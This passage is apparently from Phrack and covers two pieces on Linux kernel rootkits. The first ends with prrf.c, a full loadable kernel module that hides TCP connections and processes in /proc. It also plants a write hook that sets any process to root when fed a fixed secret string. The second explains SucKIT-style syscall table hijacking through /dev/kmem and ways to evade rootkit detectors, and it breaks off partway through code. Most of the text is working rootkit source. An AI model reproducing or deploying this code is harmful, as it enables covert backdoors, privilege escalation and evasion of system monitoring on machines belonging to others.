Another possibility for securing proc access is given in 3.5.
--[ 3.2 - Denial of Service
Well, I will make this as short as possible. A malicious user might ap-
ply changes to files to render parts of the system useless. Those, as
mentioned above, can easily be undone. But if the malicious user
simply unlinks a file it is lost:
/* oops, we forget to save the pointer ... */
delete_proc_file ("~/apm");
what actually happens on delete_proc_file calls is (simplified):
0. find proc_dir_entry of the file to delete (to_del)
1. find the proc_dir_entry that matches:
proc->next->name == to_del->name
2. relink:
proc->next = to_del->next
--[ 3.3 - Connection Hiding
The netstat utility uses the proc file ~/net/* files to show e.g. tcp
connections and their status, listening udp sockets etc. Read [4] for a
complete discussion of netstat. Since we control the proc filesystem we
are able to define what is read and what is not. The proc_dir_entry struct
contains a function pointer named get_info which is called at file read.
By redirecting this we can take control of the contents of files in /proc.
Take care of the file format in different version. Files mentioned
above changed their format from 2.2.x to 2.4.x. Notably, the same function
can be used for redirection. Lets see how this develops in 2.5.x kernels.
an example (for 2.2.x kernels, for differences to 2.4.x kernel see section
2.2):
/* we save the original get_info */
int (*saved_get_info)(char *, char **, off_t, int, int);
proc_dir_entry *a = NULL;
/* the new get_info ... */
int
new_get_info (char *a, char **b, off_t c, int d, int e) {
int x = 0;
x = saved_get_info (a, b, c, d, e);
/* do something here ... */
return x;
}
a = traverse_proc ("~/net/tcp", NULL);
if (a) {
/*
* we just set the get_info pointer to point to our new
* function. to undo this changes simply restore the pointer.
*/
saved_get_info = a->get_info;
a->get_info = &new_get_info;
}
Appendix A offers a example implementation.
--[ 3.4 - Elevation of Privileges
Often a system call is utilized to give under a certian condition extra
privileges to a user. We will not redirect a system call for this. Redirecting
the read file operation of a file is sufficient hence (1) it allows a user to
send data into the kernel and (2) it is considerable stealthy if we choose the
right pattern or the right file (elevating a tasks id's to 0 if it writes a '1'
to /proc/sys/net/ipv4/ip_forward is certainly a bad idea).
Some code will explain this.
a = traverse_proc ("~/ide/drivers", NULL);
if (a) {
/*
* the write function is called if the file is written to.
*/
a->FILE_OPS->write = &new_write;
}
It is a good idea to save the pointer you overwrite. If you remove the module
memory containing the function might free'ed. It can bring havoc to a system if
it subsequently calls a NULL pointer. The curious reader is encouraged to read
appendix A.
--[ 3.5 - Process Hiding
What happens if a directory is to be read? You have to find its inode, then
you read its entries using readdir. VFS offers a unified interface to this,
we dont care and reset the pointer to readdir of the parent inode in question.
Since the process directories are directly under proc_root there is no need
for searching the parent inode. Note that we do not hide the entries from the
user by sorting them out, but by not writing them to the users memory.
/* a global pointer to the original filldir function */
filldir_t real_filldir;
static int new_filldir_root (void * __buf, const char * name,
int namlen, off_t offset, ino_t ino) {
/*
* if the dir entry, that should be added has a stupid name
* indicate a successful addition and do nothing.
*/
if (isHidden (name))
return 0;
return real_filldir (__buf, name, namlen, offset, ino);
}
/* readdir, business as usual. */
int new_readdir_root (struct file *a, void *b, filldir_t c) {
/*
* Note: there is no need to set this pointer every
* time new_readdir_root is called. But we have to set
* it once, when we replace the readdir function. If we
* know where filldir lies at that time this should be
* changed. (yes, filldir is static).
*/
real_filldir = c;
return old_readdir_root (a, b, new_filldir_root);
}
/* replace the readdir file operation. */
proc_root.FILE_OPS->readdir = new_readdir_root;
If the process that should be added last is hidden the list of entries is
not properly linked since our filldir does not care about linking. However,
this is very unlikely to happen. The user has all power he needs to avoid
this condition.
It is possible to just make files unaccessable within /proc by replacing
the lookup inode operation of the parent:
struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {
/*
* will result in:
* "/bin/ls: /proc/: No such file or directory"
*/
if (isHidden (b->d_iname))
return NULL;
return old_lookup_root (a, b);
}
/* ... enable the feature ... */
proc_root.INODE_OPS->lookup = &new_lookup_root;
E.g. this can be used to establish fine grained access rules.
--[ 3.6 - Other Applications
Now, lets have a look at what files wait to become modified. In the /proc/net
directory are ip_fwnames (defining chain names) and ip_fwchains (rules).
They are read by ipchains (not by iptables) if they are queried to list the
filter rules. As mentioned above, there is a file named tcp, listening all
existing tcp sockets. such a file exists for udp, too. the file raw lists
raw sockets. sockstat contains statistics on socket use. A carefully written
backdoor has to sync between the (tcp|udp|...) files and this one. The arp
utility uses /proc/net/arp to gather its information. route uses the
/proc/net/route file. Read their manpages and look out for the sections
named "FILES" and "SEE ALSO". However, checking the files is only half of
the work, e.g. ifconfig uses a proc file (dev) plus ioctl's to gether its
information.
As you can see, there are many many applications to these techniques. It
is up to you to write new get_info functions to filter their output or to
add new evil entries (non existing problems are the hardest to debug).
--[ 4 - Conclusion
As we saw in section 3.2 - 3.6 there are several possibilities to weaken
the security in the Linux kernel. Existing kernel protection mechanisms, as
[5] and [6] will not prevent them, they check only for well known, system call
based, backdooring; we completely worked around it. Disabling LKM support will
only prevent the specific implementation included here to work (because it is
a LKM).
Changing the proc structures by accessing /dev[k]mem is easy since most
data of the inodes is static. Therefore they can be possibly found by simple
pattern matching (only the function pointers and next/parent/subdir pointers
will be different).
A important goal, hiding of any directory and file, was not passed. This does
not imply that it can not be reached by proc games. A possiblity could be to
hardcode needed binaries into the kernel images proc structures, or on systems
using sdram, leting them occupy unused memory space. Quiet another possibility
might be to attack the VFS layer. That, of course, is the story of another
article.
Finally some words about the implementation appended. I strongly urge the read
to use it ONLY as a proof of concept. The author can and must not be made
responsible for any, including but not limited to, incidental or consequential
damage, data loss or service outage. The code is provided "AS IS" and WITHOUT
ANY WARRENTY. USE IT AT YOU OWN RISK. The code is know to compile and run on
2.2.x and 2.4.x kernels.
--[ 5 - Reference
[1] "Overview of the Virtual File System", Richard Gooch
http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt
[2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and
Albert S. Woodhull
ISBN 0-13-630195-9
[3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare
http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt
[4] netstat
see netstat(1) for further information.
[5] StMichael, by Tim Lawless
http://sourceforge.net/projects/stjude
[6] KSTAT, by FuSyS
http://s0ftpj.org/tools/kstat.tgz
[7] proc pseudo-filesystem man page
see proc(5)
[8] "T H E /proc F I L E S Y S T E M", Terrehon Bowden ,
Bodo Bauer and Jorge Nerin
~/Documentation/filesystems/proc.txt (only in recent kernel source trees!)
http://skaro.nightcrawler.com/~bb/Docs/Proc
--[ Appendix A: prrf.c
<++> ./prrf.c
/*
* prrf.c
*
* LICENSE:
* this file may be copied or duplicated in any form, in
* whole or in part, modified or not, as long as this
* copyright notice is prepended UNMODIFIED.
*
* This code is proof of concept. The author can and must
* not be made responsible for any, including but not limited
* to, incidental or consequential damage, data loss or
* service outage. The code is provided "AS IS" and WITHOUT
* ANY WARRENTY. USE IT AT YOU OWN RISK.
*
* palmers / teso - 12/02/2001
*/
/*
* NOTE: the get_info redirection DOES NOT handle small buffers.
* your system _might_ oops or even crash if you read less
* bytes then the file contains!
*/
/*
* 2.2.x #define KERNEL_22
* 2.4.x #define KERNEL_24
*/
#define KERNEL_22 1
#define DEBUG 1
#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
* take care of proc_dir_entry design
*/
#if defined (KERNEL_22)
#define FILE_OPS ops->default_file_ops
#define INODE_OPS ops
#elif defined (KERNEL_24)
#define FILE_OPS proc_fops
#define INODE_OPS proc_iops
#endif
#define BUF_SIZE 65535
#define AUTH_STRING "ljdu3g9edaoih"
struct hide_proc_net
{
int id; /* entry id, useless ;) */
char *local_addr, /* these should be self explaining ... */
*remote_addr,
*local_port,
*remote_port;
};
/*
* global lst_entry:
* set by traverse_proc, used by delete_proc_file.
*/
struct proc_dir_entry *lst_entry = NULL;
/*
* some function pointers for saving original functions.
*/
#if defined (KERNEL_22)
int (*old_get_info_tcp) (char *, char **, off_t, int, int);
#elif defined (KERNEL_24)
get_info_t *old_get_info_tcp;
#endif
ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *);
struct dentry * (*old_lookup_root) (struct inode *, struct dentry *);
int (*old_readdir_root) (struct file *, void *, filldir_t);
filldir_t real_filldir;
/*
* rules for hiding connections
*/
struct hide_proc_net hidden_tcp[] = {
{0, NULL, NULL, ":4E35", NULL}, /* match connection from ANY:ANY to ANY:20021 */
{1, NULL, NULL, NULL, ":4E35"}, /* match connection from ANY:20021 to ANY:ANY*/
{2, NULL, NULL, ":0016", ":4E35"}, /* match connection from ANY:20021 to ANY:22 */
{7350, NULL, NULL, NULL, NULL} /* stop entry, dont forget to prepend this one */
};
/*
* get_task:
* find a task_struct by pid.
*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = current;
do {
if (p->pid == pid)
return p;
p = p->next_task;
} while (p != current);
return NULL;
}
/*
* __atoi:
* atoi!
*/
int __atoi(char *str)
{
int res = 0,
mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}
/*
* get_size_off_tcp:
* get the size of the modified /proc/net/tcp file.
*/
static off_t get_size_off_tcp (char **start)
{
off_t x = 0,
xx = 0,
xxx = 0,
y = 0;
char tmp_buf[BUF_SIZE + 1];
do
{
x += y;
xx += xxx;
y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx);
} while (y != 0);
return x - xx;
}
/*
* deny_entry:
* check connection parameters against our access control list.
* for all non-NULL fields of a entry the supplied parameters
* must match. Otherways the socket will show up.
*/
int deny_entry (char *la, char *lp, char *ra, char *rp)
{
int x = 0,
y,
z;
while (hidden_tcp[x].id != 7350)
{
y = 0;
z = 0;
if (hidden_tcp[x].local_addr != NULL)
{
if (!strncmp (la, hidden_tcp[x].local_addr, 8))
y++;
}
else
z++;
if (hidden_tcp[x].remote_addr != NULL)
{
if (!strncmp (ra, hidden_tcp[x].remote_addr, 8))
y++;
}
else
z++;
if (hidden_tcp[x].local_port != NULL)
{
if (!strncmp (lp, hidden_tcp[x].local_port, 5))
y++;
}
else
z++;
if (hidden_tcp[x].remote_port != NULL)
{
if (!strncmp (rp, hidden_tcp[x].remote_port, 5))
y++;
}
else
z++;
if ((z != 4) && ((y + z) == 4))
return 1;
x++;
}
return 0;
}
/*
* __new_get_info_tcp:
* filter the original get_info output. first call the old function,
* then cut out unwanted lines.
* XXX: very small buffers will make very large problems.
*/
int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx)
{
char tmp_l_addr[8],
tmp_l_port[5],
tmp_r_addr[8],
tmp_r_port[5], /* used for acl checks */
*tmp_ptr,
*tmp_page;
int x = 0,
line_off = 0,
length,
remove = 0,
diff,
m;
#if defined (KERNEL_22)
x = old_get_info_tcp (page, start, pos, count, f);
#elif defined (KERNEL_24)
x = old_get_info_tcp (page, start, pos, count);
#endif
if (page == NULL)
return x;
while (*page)
{
tmp_ptr = page;
length = 28;
while (*page != '\n' && *page != '\0') /* check one line */
{
/*
* we even correct the sl field ("line number").
*/
if (line_off)
{
diff = line_off;
if (diff > 999)
{
m = diff / 1000;
page[0] -= m;
diff -= (m * 1000);
}
if (diff > 99)
{
m = diff / 100;
page[1] -= m;
diff -= (m * 100);
}
if (diff > 9)
{
m = diff / 10;
page[2] -= m;
diff -= (m * 10);
}
if (diff > 0)
page[3] -= diff;
if (page[0] > '1')
page[0] = ' ';
if (page[1] > '1')
page[1] = ' ';
if (page[2] > '1')
page[2] = ' ';
}
page += 6; /* jump to beginning of local address, XXX: is this fixed? */
memcpy (tmp_l_addr, page, 8);
page += 8; /* jump to beginning of local port */
memcpy (tmp_l_port, page, 5);
page += 6; /* jump to remote address */
memcpy (tmp_r_addr, page, 8);
page += 8; /* jump to beginning of local port */
memcpy (tmp_r_port, page, 5);
while (*page != '\n') /* jump to end */
{
page++;
length++;
}
remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port);
}
page++; /* '\n' */
length++;
if (remove == 1)
{
x -= length;
if (what) /* count ignored bytes? */
*fx += length;
tmp_page = page;
page = tmp_ptr;
while (*tmp_page) /* move data backward in page */
*tmp_ptr++ = *tmp_page++;
/* zero lasting data (not needed)
while (length--)
*tmp_ptr++ = 0;
*tmp_ptr = 0;
*/
line_off++;
remove = 0;
}
}
return x;
}
/*
* new_get_info_tcp:
* we need this wrapper to avoid duplication of entries. we have to
* check for "end of file" of /proc/net/tcp, where eof lies at
* file length - length of all entries we remove.
*/
#if defined (KERNEL_22)
int new_get_info_tcp (char *page, char **start, off_t pos, int count, int f)
{
#elif defined (KERNEL_24)
int new_get_info_tcp (char *page, char **start, off_t pos, int count)
{
int f = 0;
#endif
int x = 0;
off_t max = 0;
max = get_size_off_tcp (start);
if (pos > max)
return 0;
x = __new_get_info_tcp (page, start, pos, count, f, 0, NULL);
return x;
}
/*
* new_write_tcp:
* a write function that performs misc. tasks as privilege elevation etc.
* e.g.:
* echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr.
*/
ssize_t new_write_tcp (struct file *a, const char *b, size_t c, loff_t *d)
{
char *tmp = NULL, *tmp_ptr;
tmp = kmalloc (c + 1, GFP_KERNEL);
copy_from_user (tmp, b, c);
if (tmp[strlen (tmp) - 1] == '\n')
tmp[strlen (tmp) - 1] = 0;
if (!strncmp (tmp, AUTH_STRING, strlen (AUTH_STRING)))
{
struct task_struct *x = NULL;
tmp_ptr = tmp + strlen (AUTH_STRING) + 1;
if ((x = get_task (__atoi (tmp_ptr))) == NULL)
{
kfree (tmp);
return c;
}
x->uid = x->euid = x->suid = x->fsuid = 0;
x->gid = x->egid = x->sgid = x->fsgid = 0;
}
kfree (tmp);
return c;
}
/*
* some testing ...
*/
struct dentry *new_lookup_root (struct inode *a, struct dentry *b)
{
if (b->d_iname[0] == '1')
return NULL; /* will result in: "/bin/ls: /proc/1*: No such file or directory" */
return old_lookup_root (a, b);
}
static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino)
{
if (name[0] == '1' && name[1] == '0') /* hide init */
return 0;
/*
* hiding the last task will result in a wrong linked list.
* that leads e.g. to crashes (ps).
*/
return real_filldir (__buf, name, namlen, offset, ino);
}
int new_readdir_root (struct file *a, void *b, filldir_t c)
{
real_filldir = c;
return old_readdir_root (a, b, new_filldir_root);
}
/*
* traverse_proc:
* returns the directory entry of a given file. the function will traverse
* thru the filesystems structure until it found the matching file.
* the pr argument may be either NULL or a starting point for the search.
* path is a string. if it begins with '~' and pr is NULL the search starts
* at proc_root.
*/
struct proc_dir_entry *traverse_proc (char *path, struct proc_dir_entry *pr)
{
int x = 0;
char *tmp = NULL;
if (path == NULL)
return NULL;
if (path[0] == '~')
{
lst_entry = &proc_root;
return traverse_proc (path + 2, (struct proc_dir_entry *) proc_root.subdir);
}
while (path[x] != '/' && path[x] != 0)
x++;
tmp = kmalloc (x + 1, GFP_KERNEL);
memset (tmp, 0, x + 1);
memcpy (tmp, path, x);
while (strcmp (tmp, (char *) pr->name))
{
if (pr->subdir != NULL && path[x] == '/')
{
if (!strcmp (tmp, (char *) pr->subdir->name))
{
kfree (tmp);
lst_entry = pr;
return traverse_proc (path + x + 1, pr->subdir);
}
}
lst_entry = pr;
pr = pr->next;
if (pr == NULL)
{
kfree (tmp);
return NULL;
}
}
kfree (tmp);
if (*(path + x) == 0)
return pr;
else
{
lst_entry = pr;
return traverse_proc (path + x + 1, pr->subdir);
}
}
/*
* delete_proc_file:
* remove a file from of the proc filesystem. the files inode will still exist but it will
* no longer be accessable (not pointed to by any other proc inode). the subdir pointer will
* be copy'ed to the the subdir pointer of the preceeding inode.
* returns 1 on success, 0 on error.
*/
int delete_proc_file (char *name)
{
struct proc_dir_entry *last = NULL;
char *tmp = NULL;
int i = 0; /* delete subdir? */
last = traverse_proc (name, NULL);
if (last == NULL)
return 0;
if (lst_entry == NULL)
return 0;
if (last->subdir != NULL && i)
lst_entry->subdir = last->subdir;
while (*name != 0)
{
if (*name == '/')
tmp = name + 1;
*name++;
}
if (!strcmp (tmp, lst_entry->next->name))
lst_entry->next = last->next;
else if (!strcmp (tmp, lst_entry->subdir->name))
lst_entry->subdir = last->next;
else
return 0;
return 1;
}
int init_module ()
{
struct proc_dir_entry *last = NULL;
last = traverse_proc ("~/net/tcp", NULL);
old_readdir_root = proc_root.FILE_OPS->readdir;
old_lookup_root = proc_root.INODE_OPS->lookup;
proc_root.FILE_OPS->readdir = &new_readdir_root;
proc_root.INODE_OPS->lookup = &new_lookup_root;
if (last != NULL)
{
#ifdef DEBUG
printk ("Installing hooks ....\n");
#endif
old_get_info_tcp = last->get_info;
old_write_tcp = last->FILE_OPS->write;
last->get_info = &new_get_info_tcp;
last->FILE_OPS->write = &new_write_tcp;
}
return 0;
}
void cleanup_module ()
{
struct proc_dir_entry *last = NULL;
last = traverse_proc ("~/net/tcp", NULL);
proc_root.FILE_OPS->readdir = old_readdir_root;
proc_root.INODE_OPS->lookup = old_lookup_root;
if (last != NULL)
{
#ifdef DEBUG
printk ("Removing hooks ....\n");
#endif
last->get_info = old_get_info_tcp;
last->FILE_OPS->write = old_write_tcp;
}
}
<-->
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e
|=----------=[ Linux on-the-fly kernel patching without LKM ]=-----------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sd , devik ]=---------------=|
|=----------------------=[ December 12th 2001 ]=-------------------------=|
--[ Contents
1 - Introduction
2 - /dev/kmem is our friend
3 - Replacing kernel syscalls, sys_call_table[]
3.1 - How to get sys_call_table[] without LKM ?
3.2 - Redirecting int 0x80 call sys_call_table[eax] dispatch
4 - Allocating kernel space without help of LKM support
4.1 - Searching kmalloc() using LKM support
4.2 - pattern search of kmalloc()
4.3 - The GFP_KERNEL value
4.4 - Overwriting a syscall
5 - What you should take care of
6 - Possible solutions
7 - Conclusion
8 - References
9 - Appendix: SucKIT: The implementation
--[ 1 - Introduction
In the beginning, we must thank Silvio Cesare, who developed the
technique of kernel patching a long time ago, most of ideas was stolen
from him.
In this paper, we will discuss way of abusing the Linux kernel
(syscalls mostly) without help of module support or System.map at all,
so that we assume that the reader will have a clue about what LKM is,
how a LKM is loaded into kernel etc. If you are not sure, look at some
documentation (paragraph 6. [1], [2], [3])
Imagine a scenario of a poor man which needs to change some interesting
linux syscall and LKM support is not compiled in. Imagine he have got a
box, he got root but the admin is so paranoid and he (or tripwire) don't
poor man's patched sshd and that box have not gcc/lib/.h
needed for compiling of his favourite LKM rootkit. So there are
some solutions, step by step and as an appendix, a full-featured
linux-ia32 rootkit, an example/tool, which implements all the techinques
described here.
Most of things described there (such as syscalls, memory addressing
schemes ... code too) can work only on ia32 architecture. If someone
investigate(d) to other architectures, please contact us.
--[ 2 - /dev/kmem is our friend
"Mem is a character device file that is an image of the main memory of
the computer. It may be used, for example, to examine (and even patch)
the system."
-- from the Linux 'mem' man page
For full and complex documentation about run-time kernel patching take a
look at excellent Silvio's article about this subject [2].
Just in short:
Everything we do in this paper with kernel space is done using the
standard linux device, /dev/kmem. Since this device is mostly +rw only for
root, you must be root too if you want to abuse it.
Note that changing of /dev/kmem permission to gain access is not
sufficient. After /dev/kmem access is allowed by VFS then there is second
check in device/char/mem.c for capable(CAP_SYS_RAWIO) of process.
We should also note that there is another device, /dev/mem.
It is physical memory before VM translation. It might be possible to use it
if we were know page directory location. We didn't investigate this
possibility.
Selecting address is done through lseek(), reading using read() and
writing with help of write() ... simple.
There are some helpful functions for working with kernel stuff:
/* read data from kmem */
static inline int rkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (read(fd, buf, size) != size) return 0;
return size;
}
/* write data to kmem */
static inline int wkm(int fd, int offset, void *buf, int size)
{
if (lseek(fd, offset, 0) != offset) return 0;
if (write(fd, buf, size) != size) return 0;
return size;
}
/* read int from kmem */
static inline int rkml(int fd, int offset, ulong *buf)
{
return rkm(fd, offset, buf, sizeof(ulong));
}
/* write int to kmem */
static inline int wkml(int fd, int offset, ulong buf)
{
return wkm(fd, offset, &buf, sizeof(ulong));
}
--[ 3 - Replacing kernel syscalls, sys_call_table[]
As we all know, syscalls are the lowest level of system functions (from
viewpoint of userspace) in Linux, so we'll be interested mostly in them.
Syscalls are grouped together in one big table (sct), it is just a
one-dimension array of 256 ulongs (=pointers, on ia32 architecture),
where indexing the array by a syscall number gives us the entrypoint of
given syscall. That's it.
An example pseudocode:
/* as everywhere, "Hello world" is good for begginers ;-) */
/* our saved original syscall */
int (*old_write) (int, char *, int);
/* new syscall handler */
new_write(int fd, char *buf, int count) {
if (fd == 1) { /* stdout ? */
old_write(fd, "Hello world!\n", 13);
return count;
} else {
return old_write(fd, buf, count);
}
}
old_write = (void *) sys_call_table[__NR_write]; /* save old */
sys_call_table[__NR_write] = (ulong) new_write; /* setup new one */
/* Err... there should be better things to do instead fucking up console
with "Hello worlds" ;) */
This is the classic scenario of a various LKM rootkits (see paragraph 7),
tty sniffers/hijackers (the halflife's one, f.e. [4]) where it is guaranted
that we can import sys_call_table[] and manipulate it in a correct manner,
i.e. it is simply "imported" by /sbin/insmod
[ using create_module() / init_module() ]
Uhh, let's stop talking about nothing, we think this is clear enough for
everybody.
--[ 3.1 - How to get sys_call_table[] without LKM
At first, note that the Linux kernel _doesn not keep_ any kinda of
information about it's symbols in case when there is no LKM support
compiled in. It is rather a clever decision because why could someone need
it without LKM ? For debugging ? You have System.map instead. Well WE need
it :) With LKM support there are symbols intended to be imported into LKMs
(in their special linker section), but we said without LKM, right ?
As far we know, the most elegant way how to obtain sys_call_table[] is:
#include
#include
#include
#include
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
if (lseek(kmem,off,SEEK_SET)!=off) {
perror("kmem lseek"); exit(2);
}
if (read(kmem,m,sz)!=sz) {
perror("kmem read"); exit(2);
}
}
#define CALLOFF 100 /* we'll read first 100 bytes of int $0x80*/
main ()
{
unsigned sys_call_off;
unsigned sct;
char sc_asm[CALLOFF],*p;
/* well let's read IDTR */
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%X\n",(int)idtr.base);
/* now we will open kmem */
kmem = open ("/dev/kmem",O_RDONLY);
if (kmem<0) return 1;
/* read-in IDT for 0x80 vector (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
printf("idt80: flags=%X sel=%X off=%X\n",
(unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
/* we have syscall routine address now, look for syscall table
dispatch (indirect call) */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
sct = *(unsigned*)(p+3);
if (p) {
printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n",
sct, p);
}
close(kmem);
}
How it works ? The sidt instruction "asks the processor" for the interrupt
descriptor table [asm ("sidt %0" : "=m" (idtr));], from
this structure we will get a pointer to the interrupt descriptor of
int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));].
>From the IDT we can compute the address of int $0x80's entrypoint
[sys_call_off = (idt.off2 << 16) | idt.off1;]
Good, we know where int $0x80 began, but that is not our loved
sys_call_table[]. Let's take a look at the int $0x80 entrypoint:
[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 : push %eax
0xc0106bc9 : cld
0xc0106bca : push %es
0xc0106bcb : push %ds
0xc0106bcc : push %eax
0xc0106bcd : push %ebp
0xc0106bce : push %edi
0xc0106bcf : push %esi
0xc0106bd0 : push %edx
0xc0106bd1 : push %ecx
0xc0106bd2 : push %ebx
0xc0106bd3 : mov $0x18,%edx
0xc0106bd8 : mov %edx,%ds
0xc0106bda : mov %edx,%es
0xc0106bdc : mov $0xffffe000,%ebx
0xc0106be1 : and %esp,%ebx
0xc0106be3 : cmp $0x100,%eax
0xc0106be8 : jae 0xc0106c75
0xc0106bee : testb $0x2,0x18(%ebx)
0xc0106bf2 : jne 0xc0106c48
0xc0106bf4 : call *0xc01e0f18(,%eax,4) <-- that's it
0xc0106bfb : mov %eax,0x18(%esp,1)
0xc0106bff : nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = ( *) 0xc01e0f18 <-- see ? it's same
(gdb) x/xw (system_call+44)
0xc0106bf4 : 0x188514ff <-- opcode (little endian)
(gdb)
In short, near to beginning of int $0x80 entrypoint is
'call sys_call_table(,eax,4)' opcode, because this indirect call does not
vary between kernel versions (it is same on 2.0.10 => 2.4.10), it's
relatively safe to search just for pattern of 'call (,eax,4)'
opcode = 0xff 0x14 0x85 0x
[memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);]
Being paranoid, one could do a more robust hack. Simply redirect whole
int $0x80 handler in IDT to our fake handler and intercept interesting
calls here. It is a bit more complicated as we would have to handle
reentrancy ...
At this time, we know where sys_call_table[] is and we can change the
address of some syscalls:
Pseudocode:
readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
writekmem(new_write, sct + __NR_write * 4, 4); /* set new */
--[ 3.2 - Redirecting int $0x80 call sys_call_table[eax] dispatch
When writing this article, we found some "rootkit detectors"
on Packetstorm/Freshmeat. They are able to detect the fact that
something is wrong with a LKM/syscalltable/other kernel
stuff...fortunately, most of them are too stupid and can be simply
fooled by the the trick introduced in [6] by SpaceWalker:
Pseudocode:
ulong sct = addr of sys_call_table[]
char *p = ptr to int 0x80's call sct(,eax,4) - dispatch
ulong nsct[256] = new syscall table with modified entries
readkmem(nsct, sct, 1024); /* read old */
old_write = nsct[__NR_write];
nsct[__NR_write] = new_write;
/* replace dispatch to our new sct */
writekmem((ulong) p+3, nsct, 4);
/* Note that this code never can work, because you can't
redirect something kernel related to userspace, such as
sct[] in this case */
Background:
We create a copy of the original sys_call_table[] [readkmem(nsct, sct,
1024);], then we will modify entries which we're interested in [old_write =
nsct[__NR_write]; nsct[__NR_write] = new_write;] and then change _only_
addr of in the call (,eax,4):
0xc0106bf4 : call *0xc01e0f18(,%eax,4)
~~~~|~~~~~
|__ Here will be address of
_our_ sct[]
LKM detectors (which does not check consistency of int $0x80) won't see
anything, sys_call_table[] is the same, but int $0x80 uses our implanted
table.
--[ 4 - Allocating kernel space without help of LKM support
Next thing that we need is a memory page above the 0xc0000000
(or 0x80000000) address.
The 0xc0000000 value is demarcation point between user and kernel memory.
User processes have not access above the limit. Take into account
that this value is not exact, and may be different, so it is good idea
to figure out the limit on the fly (from int $0x80's entrypoint).
Well, how to get our page above the limit ? Let's take a look how regular
kernel LKM support does it (/usr/src/linux/kernel/module.c):
...
void inter_module_register(const char *im_name, struct module *owner,
const void *userdata)
{
struct list_head *tmp;
struct inter_module_entry *ime, *ime_new;
if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
/* Overloaded kernel, not fatal */
...
As we expected, they used kmalloc(size, GFP_KERNEL) ! But we can't use
kmalloc() yet because:
- We don't know the address of kmalloc() [ paragraph 4.1, 4.2 ]
- We don't know the value of GFP_KERNEL [ paragraph 4.3 ]
- We can't call kmalloc() from user-space [ paragraph 4.4 ]
--[ 4.1 - Searching for kmalloc() using LKM support
If we can use LKM support:
/* kmalloc() lookup */
/* simplest & safest way, but only if LKM support is there */
ulong get_sym(char *n) {
struct kernel_sym tab[MAX_SYMS];
int numsyms;
int i;
numsyms = get_kernel_syms(NULL);
if (numsyms > MAX_SYMS || numsyms < 0) return 0;
get_kernel_syms(tab);
for (i = 0; i < numsyms; i++) {
if (!strncmp(n, tab[i].name, strlen(n)))
return tab[i].value;
}
return 0;
}
ulong get_kma(ulong pgoff)
{
ret = get_sym("kmalloc");
if (ret) return ret;
return 0;
}
We leave this without comments.
--[ 4.2 - pattern search of kmalloc()
But if LKM is not there, were getting into troubles. The solution
is quite dirty, and not-so-good by the way, but it seem to work.
We'll walk through kernel's .text section and look for patterns such as:
push GFP_KERNEL
push size
call kmalloc
All info will be gathered into a table, sorted and the function called most
times will be our kmalloc(), here is code:
/* kmalloc() lookup */
#define RNUM 1024
ulong get_kma(ulong pgoff)
{
struct { uint a,f,cnt; } rtab[RNUM], *t;
uint i, a, j, push1, push2;
uint found = 0, total = 0;
uchar buf[0x10010], *p;
int kmem;
ulong ret;
/* uhh, before we try to brute something, attempt to do things
in the *right* way ;)) */
ret = get_sym("kmalloc");
if (ret) return ret;
/* humm, no way ;)) */
kmem = open(KMEM_FILE, O_RDONLY, 0);
if (kmem < 0) return 0;
for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
i += 0x10000) {
if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
/* loop over memory block looking for push and calls */
for (p = buf; p < buf + 0x10000;) {
switch (*p++) {
case 0x68:
push1 = push2;
push2 = *(unsigned*)p;
p += 4;
continue;
case 0x6a:
push1 = push2;
push2 = *p++;
continue;
case 0xe8:
if (push1 && push2 &&
push1 <= 0xffff &&
push2 <= 0x1ffff) break;
default:
push1 = push2 = 0;
continue;
}
/* we have push1/push2/call seq; get address */
a = *(unsigned *) p + i + (p - buf) + 4;
p += 4;
total++;
/* find in table */
for (j = 0, t = rtab; j < found; j++, t++)
if (t->a == a && t->f == push1) break;
if (j < found)
t->cnt++;
else
if (found >= RNUM) {
return 0;
}
else {
found++;
t->a = a;
t->f = push1;
t->cnt = 1;
}
push1 = push2 = 0;
} /* for (p = buf; ... */
} /* for (i = (pgoff + 0x100000) ...*/
close(kmem);
t = NULL;
for (j = 0;j < found; j++) /* find a winner */
if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
if (t) return t->a;
